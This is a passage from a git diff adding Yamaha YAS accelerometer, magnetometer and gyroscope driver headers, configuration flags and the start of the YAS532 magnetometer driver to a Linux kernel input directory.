Pitch, Roll */ +#endif + struct yas_quaternion quaternion_mag; /*!< quaternion (acc and mag) + [normalized in + YAS_QUATERNION_NORM] */ +#if YAS_GAMEVEC_ENABLE + struct yas_quaternion quaternion_gyro; /*!< quaternion (gyro) + [normalized in + YAS_QUATERNION_NORM] */ +#endif +#if YAS_FUSION_WITH_GYRO_ENABLE +#if YAS_ORIENTATION_ENABLE + struct yas_vector orientation_fusion; /*!< orientation angle (acc, mag + and gyro) [mdegree]. Azimuth, + Pitch, Roll */ +#endif + struct yas_quaternion quaternion_fusion; /*!< quaternion (acc, mag and + gyro) [normalized in + YAS_QUATERNION_NORM] */ + struct yas_vector gravity; /*!< Gravity [um/s^2] */ + struct yas_vector linear_acceleration; /*!< Linear acceleration + [um/s^2] */ +#endif +}; + +/** + * @struct yas_fusion + * @brief Sensor fusion + */ +struct yas_fusion { + /** + * Initializes the sensor fusion + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the sensor fusion + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Resets the sensor fusion + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*reset)(void); + /** + * Notifies the square of offset change. + * @param[in] square of offset change in [nT]. + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*notify_offset_change)(int32_t square_offset_change); + /** + * Updates the sensor fusion + * @param[in] raw Measured sensor data + * @param[in] num The number of the measured sensor data + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*update)(struct yas_data *raw, int num); + /** + * Obtains the sensor fusion configuration + * @param[out] config Sensor fusion configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_config)(struct yas_fusion_config *config); + /** + * Sets the sensor fusion configuration + * @param[in] config Sensor fusion configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_config)(struct yas_fusion_config *config); + /** + * Obtains the detail of the last fusion result + * @param[out] r Last fusion result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_result)(struct yas_fusion_result *r); +}; +#endif + +#if YAS_STEPCOUNTER_ENABLE +/** + * @struct yas_stepcounter_config + * @brief Stepcounter configuration + */ +struct yas_stepcounter_config { + int8_t interval; /*!< Step counter calculate interval (ms) + 0 to 20 */ + int8_t noisecancel; /*!< Noise cancel setting + 0: off + 1: on */ +}; + +/** + * @struct yas_stepcounter_result + * @brief Stepcounter result + */ +struct yas_stepcounter_result { + int32_t walk_and_run_count[2]; + int32_t walk_and_run_time[2]; + int32_t totalcount; /*!< Total (walk and run) count */ + int32_t totaltime; /*!< Total (walk and run) time */ +}; + +/** + * @struct yas_stepcounter + * @brief Step counter function + */ +struct yas_stepcounter { + /** + * Initializes the stepcounter + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the stepcounter + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Resets the stepcounter + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*reset)(void); + /** + * Updates the stepcounter + * @param[in] Measured sensor data (accelerometer) + * @param[in] num The number of the measured sensor data + * @retval 0 Walk count and run count are NOT changed + * @retval 1 Walk count or run count is changed + * @retval Negative Failure + */ + int (*update)(struct yas_data *ydata, int num); + /** + * Obtains the stepcounter configuration + * @param[out] config stepcounter configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_config)(struct yas_stepcounter_config *config); + /** + * Sets the stepcounter configuration + * @param[in] config stepcounter configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_config)(struct yas_stepcounter_config *config); + /** + * Obtains the detail of the last stepcounter result + * @param[out] Last stepcounter result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_result)(struct yas_stepcounter_result *r); +}; +#endif + +#if YAS_SIGNIFICANT_MOTION_ENABLE +/** + * @struct yas_sfm_config + * @brief Significant motion configuration + */ +struct yas_sfm_config { + int dummy; +}; + +/** + * @struct yas_sfm_result + * @brief Significant Motion result + */ +struct yas_sfm_result { + int edge_state; + int edge_type; + int acc_count; + int var_count; + int err_count; +}; + +/** + * @struct yas_sfm + * @brief Significant motion function + */ +struct yas_sfm { + /** + * Initializes the significant motion + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the significant motion + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Resets the significant motion + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*reset)(void); + /** + * Updates the significant motion + * @param[in] Measured sensor data (accelerometer) + * @param[in] num The number of the measured sensor data + * @retval 0 Walk count and run count are NOT changed + * @retval 1 Walk count or run count is changed + * @retval Negative Failure + */ + int (*update)(struct yas_data *ydata, int num); + /** + * Obtains the significant motion configuration + * @param[out] config significant motion configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_config)(struct yas_sfm_config *config); + /** + * Sets the significant motion configuration + * @param[in] config significant motion configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_config)(struct yas_sfm_config *config); + /** + * Obtains the detail of the last significant motion result + * @param[out] Last significant motion result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_result)(struct yas_sfm_result *r); +}; +#endif + +#if YAS_SOFTWARE_GYROSCOPE_ENABLE +/** + * @struct yas_swgyro_config + * @brief Software gyroscope configuration + */ +struct yas_swgyro_config { + int dummy; /*!< dummy */ +}; + +/** + * @struct yas_swgyro_result + * @brief Software gyroscope result + */ +struct yas_swgyro_result { + struct yas_vector swgyro; /*!< Software gyroscope value in mdps */ +}; + +/** + * @struct yas_swgyro + * @brief Software gyroscope + */ +struct yas_swgyro { + /** + * Initializes the software gyroscope + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the software gyroscope + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Resets the software gyroscope + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*reset)(void); + /** + * Updates the software gyroscope + * @param[in] calibrated Measured sensor data + * @param[in] num The number of the measured sensor data + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*update)(struct yas_data *calibrated, int num); + /** + * Obtains software gyroscope configuration + * @param[out] config Software gyroscope configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_config)(struct yas_swgyro_config *config); + /** + * Sets software gyroscope configuration + * @param[in] config Software gyroscope configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_config)(struct yas_swgyro_config *config); + /** + * Obtains the detail of the last software gyroscope result + * @param[out] r Last software gyroscope result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_result)(struct yas_swgyro_result *r); +}; +#endif + +#if YAS_LOG_ENABLE + +/** + * @struct yas_log + * @brief User-written callback functions for log control + */ +struct yas_log { + /** + * Open the log + * @retval 0 Success + * @retval Negative Failure + */ + int (*log_open)(void); + /** + * Close the log + * @retval 0 Success + * @retval Negative Failure + */ + int (*log_close)(void); + /** + * Write the log + * @param[in] buf Log string + * @param[in] len Log string length + * @retval 0 Success + * @retval Negative Failure + */ + int (*log_write)(const char *buf, int len); +}; +#endif + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 +struct yas532_self_test_result { + int32_t id; + int8_t xy1y2[3]; + int32_t dir; + int32_t sx, sy; + int32_t xyz[3]; +}; +#endif + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 +struct yas537_self_test_result { + int32_t id; + int32_t dir; + int32_t sx, sy; + int32_t xyz[3]; +}; +#endif + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS535 +struct yas535_acc_self_test_result { + int dummy; /* TBD */ +}; +struct yas535_mag_self_test_result { + int32_t id; + int8_t xy1y2[3]; + int32_t dir; + int32_t sx, sy; + int32_t xyz[3]; +}; +#endif + +/* ---------------------------------------------------------------------------- + * Global function definition + *--------------------------------------------------------------------------- */ + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * Initializes the acceleration sensor driver module. Call thie function by + * specifying a callback function. + * @param[in,out] f Pointer to yas_acc_driver struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_acc_driver_init(struct yas_acc_driver *f); + +/** + * Initializes the magnetic sensor driver module. Call thie function by + * specifying a callback function. + * @param[in,out] f Pointer to yas_mag_driver struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_mag_driver_init(struct yas_mag_driver *f); + +/** + * Initializes the gyroscope sensor driver module. Call thie function by + * specifying a callback function. + * @param[in,out] f Pointer to yas_gyro_driver struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_gyro_driver_init(struct yas_gyro_driver *f); + +/** + * Initializes the acceleration and gyroscope sensor (6-axis) driver module. + * Call thie function by specifying a callback function. + * @param[in,out] f Pointer to yas_acc_gyro_driver struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_acc_gyro_driver_init(struct yas_acc_gyro_driver *f); + +/** + * Initializes the acceleration and magnetic sensor (6-axis) driver module. + * Call thie function by specifying a callback function. + * @param[in,out] f Pointer to yas_acc_mag_driver struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_acc_mag_driver_init(struct yas_acc_mag_driver *f); + +/** + * Initializes the acceleration, magnetic and gyroscope sensor (9-axis) driver + * module. Call thie function by specifying a callback function. + * @param[in,out] f Pointer to yas_acc_mag_gyro_driver struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_acc_mag_gyro_driver_init(struct yas_acc_mag_gyro_driver *f); + +#if YAS_MAG_CALIB_ENABLE +/** + * Initializes the magnetic calibration module. + * @param[in,out] f Pointer to yas_mag_calib struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_mag_calib_init(struct yas_mag_calib *f); +#endif + +#if YAS_GYRO_CALIB_ENABLE +/** + * Initializes the gyroscope calibration module. + * @param[in,out] f Pointer to yas_gyro_calib struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_gyro_calib_init(struct yas_gyro_calib *f); +#endif + +#if YAS_MAG_FILTER_ENABLE +/** + * Initializes the magnetic filter module. + * @param[in,out] f Pointer to yas_mag_filter struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_mag_filter_init(struct yas_mag_filter *f); +#endif + +#if YAS_MAG_AVERAGE_FILTER_ENABLE +/** + * Initializes the magnetic average filter module. + * @param[in,out] f Pointer to yas_mag_avg struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_mag_avg_init(struct yas_mag_avg *f); +#endif + +#if YAS_FUSION_ENABLE +/** + * Initializes the sensor fusion module. + * @param[in,out] f Pointer to yas_fusion struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_fusion_init(struct yas_fusion *f); +#endif + +#if YAS_STEPCOUNTER_ENABLE +/** + * Initializes the stepcounter module. + * @param[in,out] f Pointer to yas_stepcounter struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_stepcounter_init(struct yas_stepcounter *f); +#endif + +#if YAS_SIGNIFICANT_MOTION_ENABLE +/** + * Initializes the significant motion module. + * @param[in,out] f Pointer to yas_sfm struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_sfm_init(struct yas_sfm *f); +#endif + +#if YAS_SOFTWARE_GYROSCOPE_ENABLE +/** + * Initializes the software gyroscope module + * @param[in,out] f Pointer to yas_swgyro struct + * @retval #YAS_NO_ERROR Success + * @retval Negative Number Error + */ +int yas_swgyro_init(struct yas_swgyro *f); +#endif + +#ifdef __cplusplus +} +#endif + +#endif /* __YAS_H__ */ diff --git a/drivers/input/misc/yas_cfg.h b/drivers/input/misc/yas_cfg.h new file mode 100644 index 0000000000000..95e110b574955 --- /dev/null +++ b/drivers/input/misc/yas_cfg.h @@ -0,0 +1,240 @@ +/** + * Configuration header file of the core driver API @file yas_cfg.h + * + * Copyright (c) 2013-2014 Yamaha Corporation + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any damages + * arising from the use of this software. + * + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you must not + * claim that you wrote the original software. If you use this software + * in a product, an acknowledgment in the product documentation would be + * appreciated but is not required. + * 2. Altered source versions must be plainly marked as such, and must not be + * misrepresented as being the original software. + * 3. This notice may not be removed or altered from any source distribution. + */ +#ifndef __YAS_CFG_H__ +#define __YAS_CFG_H__ + +#define YAS_MAG_DRIVER_NONE (0) /*!< No Magnetometer */ +#define YAS_MAG_DRIVER_YAS529 (1) /*!< YAS 529 (MS-3C) */ +#define YAS_MAG_DRIVER_YAS530 (2) /*!< YAS 530 (MS-3E) */ +#define YAS_MAG_DRIVER_YAS532 (3) /*!< YAS 532 (MS-3R) */ +#define YAS_MAG_DRIVER_YAS533 (4) /*!< YAS 533 (MS-3F) */ +#define YAS_MAG_DRIVER_YAS535 (5) /*!< YAS 535 (MS-6C) */ +#define YAS_MAG_DRIVER_YAS536 (6) /*!< YAS 536 (MS-3W) */ +#define YAS_MAG_DRIVER_YAS537 (7) /*!< YAS 537 (MS-3T) */ +#define YAS_MAG_DRIVER_YAS53x (0x7fff) /*!< YAS XXX */ + +#define YAS_ACC_DRIVER_NONE (0) /*!< No Accelerometer */ +#define YAS_ACC_DRIVER_ADXL345 (1) /*!< ADXL 345 */ +#define YAS_ACC_DRIVER_ADXL346 (2) /*!< ADXL 346 */ +#define YAS_ACC_DRIVER_BMA150 (3) /*!< BMA 150 */ +#define YAS_ACC_DRIVER_BMA222 (4) /*!< BMA 222 */ +#define YAS_ACC_DRIVER_BMA222E (5) /*!< BMA 222E */ +#define YAS_ACC_DRIVER_BMA250 (6) /*!< BMA 250 */ +#define YAS_ACC_DRIVER_BMA250E (7) /*!< BMA 250E */ +#define YAS_ACC_DRIVER_BMA254 (8) /*!< BMA 254 */ +#define YAS_ACC_DRIVER_BMA255 (9) /*!< BMA 255 */ +#define YAS_ACC_DRIVER_BMI055 (10) /*!< BMI 055 */ +#define YAS_ACC_DRIVER_BMI058 (11) /*!< BMI 058 */ +#define YAS_ACC_DRIVER_DMARD08 (12) /*!< DMARD08 */ +#define YAS_ACC_DRIVER_KXSD9 (13) /*!< KXSD9 */ +#define YAS_ACC_DRIVER_KXTE9 (14) /*!< KXTE9 */ +#define YAS_ACC_DRIVER_KXTF9 (15) /*!< KXTF9 */ +#define YAS_ACC_DRIVER_KXTI9 (16) /*!< KXTI9 */ +#define YAS_ACC_DRIVER_KXTJ2 (17) /*!< KXTJ2 */ +#define YAS_ACC_DRIVER_KXUD9 (18) /*!< KXUD9 */ +#define YAS_ACC_DRIVER_LIS331DL (19) /*!< LIS331DL */ +#define YAS_ACC_DRIVER_LIS331DLH (20) /*!< LIS331DLH */ +#define YAS_ACC_DRIVER_LIS331DLM (21) /*!< LIS331DLM */ +#define YAS_ACC_DRIVER_LIS3DH (22) /*!< LIS3DH */ +#define YAS_ACC_DRIVER_LSM330DLC (23) /*!< LSM330DLC */ +#define YAS_ACC_DRIVER_MMA8452Q (24) /*!< MMA8452Q */ +#define YAS_ACC_DRIVER_MMA8453Q (25) /*!< MMA8453Q */ +#define YAS_ACC_DRIVER_U2DH (26) /*!< U2DH */ +#define YAS_ACC_DRIVER_YAS535 (27) /*!< YAS 535 (MS-6C) */ +#define YAS_ACC_DRIVER_YAS53x (0x7fff) /*!< YAS XXX */ + +#define YAS_GYRO_DRIVER_NONE (0) /*!< No Gyroscope */ +#define YAS_GYRO_DRIVER_BMG160 (1) /*!< BMG160 */ +#define YAS_GYRO_DRIVER_BMI055 (2) /*!< BMI055 */ +#define YAS_GYRO_DRIVER_BMI058 (3) /*!< BMI058 */ +#define YAS_GYRO_DRIVER_EWTZMU (4) /*!< EWTZMU */ +#define YAS_GYRO_DRIVER_ITG3200 (5) /*!< ITG3200 */ +#define YAS_GYRO_DRIVER_ITG3500 (6) /*!< ITG3500 */ +#define YAS_GYRO_DRIVER_L3G3200D (7) /*!< L3G3200D */ +#define YAS_GYRO_DRIVER_L3G4200D (8) /*!< L3G4200D */ +#define YAS_GYRO_DRIVER_LSM330DLC (9) /*!< LSM330DLC */ +#define YAS_GYRO_DRIVER_MPU3050 (10) /*!< MPU3050 */ +#define YAS_GYRO_DRIVER_MPU6050 (11) /*!< MPU6050 */ +#define YAS_GYRO_DRIVER_YAS53x (0x7fff) /*!< YAS XXX */ + +/*---------------------------------------------------------------------------- + * Configuration + *----------------------------------------------------------------------------*/ + +#define YAS_ACC_DRIVER (YAS_ACC_DRIVER_BMI055) +#define YAS_MAG_DRIVER (YAS_MAG_DRIVER_YAS532) +#define YAS_GYRO_DRIVER (YAS_GYRO_DRIVER_BMI055) + +/*! Magnetic minimum calibration enable (0:Disable, 1: Enable) */ +#define YAS_MAG_CALIB_MINI_ENABLE (0) +/*! Magnetic floating point calibration enable (0:Disable, 1: Enable) */ +#define YAS_MAG_CALIB_FLOAT_ENABLE (0) +/*! Magnetic sphere calibration enable (0:Disable, 1: Enable) */ +#define YAS_MAG_CALIB_SPHERE_ENABLE (1) +/*! Magnetic ellipsoid calibration enable (0:Disable, 1: Enable) */ +#define YAS_MAG_CALIB_ELLIPSOID_ENABLE (1) +/*! Magnetic calibration with gyroscope enable (0:Disable, 1: Enable) */ +#define YAS_MAG_CALIB_WITH_GYRO_ENABLE (1) +#if YAS_MAG_CALIB_MINI_ENABLE +#undef YAS_MAG_CALIB_FLOAT_ENABLE +#undef YAS_MAG_CALIB_SPHERE_ENABLE +#undef YAS_MAG_CALIB_ELLIPSOID_ENABLE +#undef YAS_MAG_CALIB_WITH_GYRO_ENABLE +#define YAS_MAG_CALIB_FLOAT_ENABLE (0) +#define YAS_MAG_CALIB_SPHERE_ENABLE (0) +#define YAS_MAG_CALIB_ELLIPSOID_ENABLE (0) +#define YAS_MAG_CALIB_WITH_GYRO_ENABLE (0) +#elif YAS_MAG_CALIB_FLOAT_ENABLE +#undef YAS_MAG_CALIB_WITH_GYRO_ENABLE +#define YAS_MAG_CALIB_WITH_GYRO_ENABLE (0) +#endif +/*! Magnetic calibration enable (0:Disable, 1: Enable) */ +#define YAS_MAG_CALIB_ENABLE (YAS_MAG_CALIB_FLOAT_ENABLE | \ + YAS_MAG_CALIB_MINI_ENABLE | \ + YAS_MAG_CALIB_SPHERE_ENABLE | \ + YAS_MAG_CALIB_ELLIPSOID_ENABLE | \ + YAS_MAG_CALIB_WITH_GYRO_ENABLE) + +/*! Gyroscope calibration enable (0:Disable, 1: Enable) */ +#define YAS_GYRO_CALIB_ENABLE (1) +/*! Magnetic filter enable (0:Disable, 1: Enable) */ +#define YAS_MAG_FILTER_ENABLE (1) +/*! Fusion with gyroscope enable (0:Disable, 1: Enable) */ +#define YAS_FUSION_ENABLE (1) +/*! Fusion with gyroscope enable (0:Disable, 1: Enable) */ +#define YAS_FUSION_WITH_GYRO_ENABLE (1) +/*! Quaternion (gyroscope) enable (0:Disable, 1: Enable) */ +#define YAS_GAMEVEC_ENABLE (1) +/*! Magnetic average filter enable (0:Disable, 1:Enable) */ +#define YAS_MAG_AVERAGE_FILTER_ENABLE (0) +/*! step counter enable (0:Disable, 1:Enable) */ +#define YAS_STEPCOUNTER_ENABLE (1) +/*! Significant motion enable (0:Disable, 1:Enable) */ +#define YAS_SIGNIFICANT_MOTION_ENABLE (1) +/*! Software gyroscope enable (0:Disable, 1:Enable) */ +#define YAS_SOFTWARE_GYROSCOPE_ENABLE (1) +/*! Log enable (0:Disable, 1:Enable) */ +#define YAS_LOG_ENABLE (0) +/*! Orientation enable (0:Disable, 1:Enable) */ +#define YAS_ORIENTATION_ENABLE (1) + +/*! Mangetic vdd in mV */ +#define YAS_MAG_VCORE (1800) + +/*! No sleep version of YAS532 driver */ +#define YAS532_DRIVER_NO_SLEEP (0) + +/* ---------------------------------------------------------------------------- + * Driver Configuration + *--------------------------------------------------------------------------- */ +/*! Default sensor delay in [msec] */ +#define YAS_DEFAULT_SENSOR_DELAY (50) + +/* ---------------------------------------------------------------------------- + * Geomagnetic Filter Configuration + *--------------------------------------------------------------------------- */ + +/*! Geomagnetic adaptive filter noise threshold X (dispersion in [nT]) */ +#define YAS_MAG_DEFAULT_FILTER_NOISE_X (1200) +/*! Geomagnetic adaptive filter noise threshold Y (dispersion in [nT]) */ +#define YAS_MAG_DEFAULT_FILTER_NOISE_Y (1200) +/*! Geomagnetic adaptive filter noise threshold Z (dispersion in [nT]) */ +#define YAS_MAG_DEFAULT_FILTER_NOISE_Z (1200) +/*! Geomagnetic adaptive filter length */ +#define YAS_MAG_DEFAULT_FILTER_LEN (20) +/*! Geomagnetic threshold filter threshold in [nT] */ +#define YAS_MAG_DEFAULT_FILTER_THRESH (300) + +/* ---------------------------------------------------------------------------- + * Other Configuration + *--------------------------------------------------------------------------- */ + +#if YAS_ACC_DRIVER == YAS_ACC_DRIVER_NONE +#undef YAS_STEPCOUNTER_ENABLE +#define YAS_STEPCOUNTER_ENABLE (0) +#undef YAS_SIGNIFICANT_MOTION_ENABLE +#define YAS_SIGNIFICANT_MOTION_ENABLE (0) +#endif + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_NONE +#undef YAS_MAG_CALIB_ENABLE +#define YAS_MAG_CALIB_ENABLE (0) +#undef YAS_MAG_FILTER_ENABLE +#define YAS_MAG_FILTER_ENABLE (0) +#endif +#if YAS_MAG_DRIVER != YAS_MAG_DRIVER_YAS536 +#undef YAS_MAG_AVERAGE_FILTER_ENABLE +#define YAS_MAG_AVERAGE_FILTER_ENABLE (0) +#endif + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_NONE \ + || YAS_ACC_DRIVER == YAS_ACC_DRIVER_NONE +#undef YAS_SOFTWARE_GYROSCOPE_ENABLE +#define YAS_SOFTWARE_GYROSCOPE_ENABLE (0) +#undef YAS_FUSION_ENABLE +#define YAS_FUSION_ENABLE (0) +#endif + +#if YAS_ACC_DRIVER == YAS_ACC_DRIVER_NONE \ + || YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_NONE +#undef YAS_GAMEVEC_ENABLE +#define YAS_GAMEVEC_ENABLE (0) +#endif + +#if YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_NONE \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_NONE +#undef YAS_GYRO_CALIB_ENABLE +#define YAS_GYRO_CALIB_ENABLE (0) +#endif + +#if YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_NONE +#undef YAS_FUSION_WITH_GYRO_ENABLE +#define YAS_FUSION_WITH_GYRO_ENABLE (0) +#endif + +#if !YAS_FUSION_ENABLE +#undef YAS_FUSION_WITH_GYRO_ENABLE +#define YAS_FUSION_WITH_GYRO_ENABLE (0) +#endif + +#if YAS_LOG_ENABLE +#ifdef __KERNEL__ +#undef YAS_LOG_ENABLE +#define YAS_LOG_ENABLE (0) +#else +#include +#include +#endif +#endif + +/*! yas magnetometer name */ +#define YAS_MAG_NAME "yas_magnetometer" +/*! yas accelerometer name */ +#define YAS_ACC_NAME "yas_accelerometer" +/*! yas accelerometer and magnetometer 6axis sensor name */ +#define YAS_ACC_MAG_NAME "yas_acc_mag_6axis" +/*! yas accelerometer and gyroscope 6axis sensor name */ +#define YAS_ACC_GYRO_NAME "yas_acc_gyro_6axis" +/*! yas gyroscope name */ +#define YAS_GYRO_NAME "yas_gyroscope" + +#endif diff --git a/drivers/input/misc/yas_mag_drv-yas532.c b/drivers/input/misc/yas_mag_drv-yas532.c new file mode 100644 index 0000000000000..d55713197ed0f --- /dev/null +++ b/drivers/input/misc/yas_mag_drv-yas532.c @@ -0,0 +1,801 @@ +/* + * Copyright (c) 2013-2014 Yamaha Corporation + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any damages + * arising from the use of this software. + * + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you must not + * claim that you wrote the original software. If you use this software + * in a product, an acknowledgment in the product documentation would be + * appreciated but is not required. + * 2. Altered source versions must be plainly marked as such, and must not be + * misrepresented as being the original software. + * 3. This notice may not be removed or altered from any source distribution. + */ + +#include "yas.h" +#include + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 + +#define YAS532_REG_DEVID (0x80) +#define YAS532_REG_RCOILR (0x81) +#define YAS532_REG_CMDR (0x82) +#define YAS532_REG_CONFR (0x83) +#define YAS532_REG_DLYR (0x84) +#define YAS532_REG_OXR (0x85) +#define YAS532_REG_OY1R (0x86) +#define YAS532_REG_OY2R (0x87) +#define YAS532_REG_TEST1R (0x88) +#define YAS532_REG_TEST2R (0x89) +#define YAS532_REG_CALR (0x90) +#define YAS532_REG_DATAR (0xB0) + +#define YAS532_VERSION_AC_COEF_X (850) +#define YAS532_VERSION_AC_COEF_Y1 (750) +#define YAS532_VERSION_AC_COEF_Y2 (750) +#define YAS532_DATA_CENTER (4096) +#define YAS532_DATA_UNDERFLOW (0) +#define YAS532_DATA_OVERFLOW (8190) +#define YAS532_DEVICE_ID (0x02) /* YAS532 (MS-3R/3F) */ +#define YAS532_TEMP20DEGREE_TYPICAL (390) + +#define YAS_X_OVERFLOW (0x01) +#define YAS_X_UNDERFLOW (0x02) +#define YAS_Y1_OVERFLOW (0x04) +#define YAS_Y1_UNDERFLOW (0x08) +#define YAS_Y2_OVERFLOW (0x10) +#define YAS_Y2_UNDERFLOW (0x20) +#define YAS_OVERFLOW (YAS_X_OVERFLOW|YAS_Y1_OVERFLOW|YAS_Y2_OVERFLOW) +#define YAS_UNDERFLOW (YAS_X_UNDERFLOW|YAS_Y1_UNDERFLOW|YAS_Y2_UNDERFLOW) + +#define YAS532_MAG_STATE_NORMAL (0) +#define YAS532_MAG_STATE_INIT_COIL (1) +#define YAS532_MAG_STATE_MEASURE_OFFSET (2) +#define YAS532_MAG_INITCOIL_TIMEOUT (1000) /* msec */ +#define YAS532_MAG_TEMPERATURE_LOG (10) +#define YAS532_MAG_NOTRANS_POSITION (3) +#if YAS532_DRIVER_NO_SLEEP +#define YAS_MAG_MAX_BUSY_LOOP (1000) +#endif + +#define set_vector(to, from) \ + {int _l; for (_l = 0; _l < 3; _l++) (to)[_l] = (from)[_l]; } +#define is_valid_offset(a) \ + (((a)[0] <= 31) && ((a)[1] <= 31) && ((a)[2] <= 31) \ + && (-31 <= (a)[0]) && (-31 <= (a)[1]) && (-31 <= (a)[2])) + +struct yas_cal_data { + int8_t rxy1y2[3]; + uint8_t fxy1y2[3]; + int32_t cx, cy1, cy2; + int32_t a2, a3, a4, a5, a6, a7, a8, a9, k; +}; +#if (1 < YAS532_MAG_TEMPERATURE_LOG) +struct yas_temperature_filter { + uint16_t log[YAS532_MAG_TEMPERATURE_LOG]; + int num; + int idx; +}; +#endif +struct yas_cdriver { + int initialized; + struct yas_cal_data cal; + struct yas_driver_callback cbk; + int measure_state; + int8_t hard_offset[3]; + int32_t coef[3]; + int overflow; + uint32_t overflow_time; + int position; + int delay; + int enable; + uint8_t dev_id; + const int8_t *transform; +#if (1 < YAS532_MAG_TEMPERATURE_LOG) + struct yas_temperature_filter t; +#endif + uint32_t current_time; + uint16_t last_raw[4]; +#if YAS532_DRIVER_NO_SLEEP + int start_flag; + int wait_flag; +#endif +}; + +static const int yas532_version_ac_coef[] = {YAS532_VERSION_AC_COEF_X, + YAS532_VERSION_AC_COEF_Y1, YAS532_VERSION_AC_COEF_Y2}; +static const int8_t INVALID_OFFSET[] = {0x7f, 0x7f, 0x7f}; +static const int8_t YAS532_TRANSFORMATION[][9] = { + { 0, 1, 0, -1, 0, 0, 0, 0, 1 }, + {-1, 0, 0, 0, -1, 0, 0, 0, 1 }, + { 0, -1, 0, 1, 0, 0, 0, 0, 1 }, + { 1, 0, 0, 0, 1, 0, 0, 0, 1 }, + { 0, -1, 0, -1, 0, 0, 0, 0, -1 }, + { 1, 0, 0, 0, -1, 0, 0, 0, -1 }, + { 0, 1, 0, 1, 0, 0, 0, 0, -1 }, + {-1, 0, 0, 0, 1, 0, 0, 0, -1 }, +}; +static struct yas_cdriver driver; + +#define yas_read(a, b, c) \ + (driver.cbk.device_read(YAS_TYPE_MAG, (a), (b), (c))) +static int yas_single_write(uint8_t addr, uint8_t data) +{ + return driver.cbk.device_write(YAS_TYPE_MAG, addr, &data, 1); +} + +static uint32_t curtime(void) +{ + if (driver.cbk.current_time) + return driver.cbk.current_time(); + else + return driver.current_time; +} + +static void xy1y2_to_linear(uint16_t *xy1y2, int32_t *xy1y2_linear) +{ + static const uint16_t cval[] = {3721, 3971, 4221, 4471}; + int i; + for (i = 0; i < 3; i++) + xy1y2_linear[i] = xy1y2[i] - cval[driver.cal.fxy1y2[i]] + + (driver.hard_offset[i] - driver.cal.rxy1y2[i]) + * driver.coef[i]; +} + +static int get_cal_data_yas532(struct yas_cal_data *c) +{ + uint8_t data[14]; int i; + if (yas_read(YAS532_REG_CALR, data, 14) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + if (yas_read(YAS532_REG_CALR, data, 14) < 0) + return YAS_ERROR_DEVICE_COMMUNICATION; + c->fxy1y2[0] = 